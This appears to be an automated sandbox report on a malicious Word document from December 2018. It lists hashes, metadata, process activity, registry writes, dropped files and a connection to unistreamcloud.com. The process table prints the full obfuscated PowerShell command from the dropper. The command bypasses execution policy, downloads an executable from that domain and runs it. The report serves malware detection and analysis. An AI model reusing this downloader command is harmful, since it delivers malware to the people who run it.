| File name: | 21ebe4e0db7506097ab45047c1639d7a280dd0af98274fc762b00ff37e2b2c84 |
| Full analysis: | https://app.any.run/tasks/f8e1923b-4062-49e9-b16c-b011b9c3de45 |
| Verdict: | Malicious activity |
| Analysis date: | December 06, 2018, 15:12:31 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Little Pig, Template: Normal, Last Saved By: Windows User, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 18:00, Create Time/Date: Mon Dec 3 07:17:00 2018, Last Saved Time/Date: Mon Dec 3 22:01:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
| MD5: | 85D5C6620AC1747B589119A3697D08C2 |
| SHA1: | 8856F5B17A9BED70585E44176B50B4CC3B278B0B |
| SHA256: | 21EBE4E0DB7506097AB45047C1639D7A280DD0AF98274FC762B00FF37E2B2C84 |
| SSDEEP: | 6144:df1/iNw2CzgMm7WQiFrrkPGV6VR148ebvh9O:dfOdfl7HiFadR1eLu |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2992)
Executable content was dropped or overwritten
- WINWORD.EXE (PID: 2992)
Application was dropped or rewritten from another process
- hiai.exe (PID: 3092)
SUSPICIOUS
No suspicious indicators.INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2992)
Creates files in the user directory
- WINWORD.EXE (PID: 2992)
Dropped object may contain Bitcoin addresses
- WINWORD.EXE (PID: 2992)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | Little Pig |
| Keywords: | - |
| Template: | Normal |
| LastModifiedBy: | Windows User |
| RevisionNumber: | 4 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 18.0 minutes |
| CreateDate: | 2018:12:03 07:17:00 |
| ModifyDate: | 2018:12:03 22:01:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | 1 |
| Security: | None |
| CodePage: | Unicode (UTF-8) |
| Company: | Microsoft |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 1 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | - |
| CompObjUserType: | - |
Total processes
33
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2992 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\21ebe4e0db7506097ab45047c1639d7a280dd0af98274fc762b00ff37e2b2c84.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3092 | "C:\Users\admin\AppData\Local\Temp\oycbsgr0\hiai.exe" $aejwomdyyeyieuwzy8='$rber';$yulnocmorxniyhiiyu='-It';$qaortioisxoaanzyi='s f7f81a39-5f63-5b42-9efd-1f13b5431005#39;;$qvcaeejzwseadzarybqwvhxcgy='Dow';$gxolyawpujrajdaeam='ss -Scope';$yyobkeuksvfoaoyikxame06='$env:t';$ayeuwyewuyei='emp+''';$occzajnwacdcejprsszoi=''',$path';$eanttqpnekigrgaouec08='-Proces';$utpeivldoaepzvtqveuuobklkg='emove';$oocydgmfzmybsosuftyst41='tionPoli';$uayqnkkoeujgqfscx='om/storag';$aicsqeuurtotbxetxwgr='gr0'') -r';$otseeowmugwagqfbyjbn=' ''esherh';$yxpmuuskaagqytshoxhukjnvkttzn='(''ht';$yahpiugilfuaucdiyjmoxmi=''';Set-Ex';$koaekilpemtqedgvioesp='amcloud.c';$ebxieeaayvhezailwoim4='ient).';$gekhahparzunsvyeaooo='orce;';$uvgqbxtjmoyqbvwlpiu='Net.Webcl';$uywtoassoyvqduyjdqxrgb='tps:';$hwznfdvaufcytqlxkgt='=($env:t';$aawuiaitxokzyhvigylr69='ecurse -f';$cuanzgxokeiej='p0.exe';$oomnzthxajlbnltpcawfguxzble='.exe';$ihlbuiurvbxgsjqqsi='ypa';$zkuioodaivtqttg5='emp ';$ysdbwouudscnwcxquradsjnkxo='; $path';$ulkypoxornnyslwg24='oycbs';$bpsrzyagovqaouj=' Process';$capauaxkwznzkrxaoe='nloadFile';$wpwtyxqcmubqpbibybxsoeuoa=' System.';$oeuerzfhytaaen='//unistre';$uokludbuhfyltfouiy='ecu';$oowgyusaiucdghuwuzf=''');(N';$dcuotunayskoqeaeyawviu='+ ''\';$whcychzqwmyewretvalvoiay54='ew-Object';$eicruteeaggmrcookctfhb='em (';$eogdaaxtyxsimvaoyadjzy='path;R';$vzclnoulvsrpujvvawcyrlge16='); Start';$eieetsfidicsdwfyihlafgyz7='cy B';$eaiseauiuylrtzg7='\aeibxu';$rcqigqotojkieylaupthdhpw='e/doc/lsm';$oiehtccisxejgyixnspevgouzf4='sheh ='; Invoke-Expression ($aejwomdyyeyieuwzy8+$oiehtccisxejgyixnspevgouzf4+$otseeowmugwagqfbyjbn+$yahpiugilfuaucdiyjmoxmi+$uokludbuhfyltfouiy+$oocydgmfzmybsosuftyst41+$eieetsfidicsdwfyihlafgyz7+$ihlbuiurvbxgsjqqsi+$gxolyawpujrajdaeam+$bpsrzyagovqaouj+$ysdbwouudscnwcxquradsjnkxo+$hwznfdvaufcytqlxkgt+$ayeuwyewuyei+$eaiseauiuylrtzg7+$cuanzgxokeiej+$oowgyusaiucdghuwuzf+$whcychzqwmyewretvalvoiay54+$wpwtyxqcmubqpbibybxsoeuoa+$uvgqbxtjmoyqbvwlpiu+$ebxieeaayvhezailwoim4+$qvcaeejzwseadzarybqwvhxcgy+$capauaxkwznzkrxaoe+$yxpmuuskaagqytshoxhukjnvkttzn+$uywtoassoyvqduyjdqxrgb+$oeuerzfhytaaen+$koaekilpemtqedgvioesp+$uayqnkkoeujgqfscx+$rcqigqotojkieylaupthdhpw+$oomnzthxajlbnltpcawfguxzble+$occzajnwacdcejprsszoi+$vzclnoulvsrpujvvawcyrlge16+$eanttqpnekigrgaouec08+$qaortioisxoaanzyi+$eogdaaxtyxsimvaoyadjzy+$utpeivldoaepzvtqveuuobklkg+$yulnocmorxniyhiiyu+$eicruteeaggmrcookctfhb+$yyobkeuksvfoaoyikxame06+$zkuioodaivtqttg5+$dcuotunayskoqeaeyawviu+$ulkypoxornnyslwg24+$aicsqeuurtotbxetxwgr+$aawuiaitxokzyhvigylr69+$gekhahparzunsvyeaooo); | C:\Users\admin\AppData\Local\Temp\oycbsgr0\hiai.exe | WINWORD.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 432
Read events
1 023
Write events
399
Delete events
10
Modification events
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | d>% |
Value: 643E2500B00B0000010000000000000000000000 | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1300627486 | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627600 | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627601 | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: B00B00005CBED828768DD40100000000 | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | )`% |
Value: 29602500B00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | )`% |
Value: 29602500B00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2992) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
13
Suspicious files
0
Text files
121
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8A64.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ebe4e0db7506097ab45047c1639d7a280dd0af98274fc762b00ff37e2b2c84.doc | pgc | |
MD5:— | SHA256:— | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\oycbsgr0\Certificate.format.ps1xml | xml | |
MD5:— | SHA256:— | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\oycbsgr0\Diagnostics.Format.ps1xml | text | |
MD5:— | SHA256:— | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\oycbsgr0\CompiledComposition.Microsoft.PowerShell.GPowerShell.dll | executable | |
MD5:— | SHA256:— | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\oycbsgr0\DotNetTypes.format.ps1xml | xml | |
MD5:— | SHA256:— | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\oycbsgr0\en-US\about_Arithmetic_Operators.help.txt | text | |
MD5:04D0CDC53B434B3FE0022831C9D06A84 | SHA256:D42C3639DC7E4816800B1221E74F682BC3E6C8F34D00CC4765B3ADEBC173BBBA | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\oycbsgr0\en-US\about_arrays.help.txt | text | |
MD5:04BB4AA2CF5A5D3EAD1D9F6EEA89C034 | SHA256:0C058DF25203E39D339F127C0AE8235EE3E2E77F33B57F894E8E5A4AE6243EC8 | |||
| 2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\oycbsgr0\en-US\about_Assignment_Operators.help.txt | text | |
MD5:D2DD0C7C3423CDC0040B68FBC475428E | SHA256:4DA2F663032A15D4ECB7A6FCB6DF8D5C07D097ED8D3FA9EC054D676584C4B411 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3092 | hiai.exe | 94.46.192.28:443 | unistreamcloud.com | UK Dedicated Servers Limited | GB | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
unistreamcloud.com |
| unknown |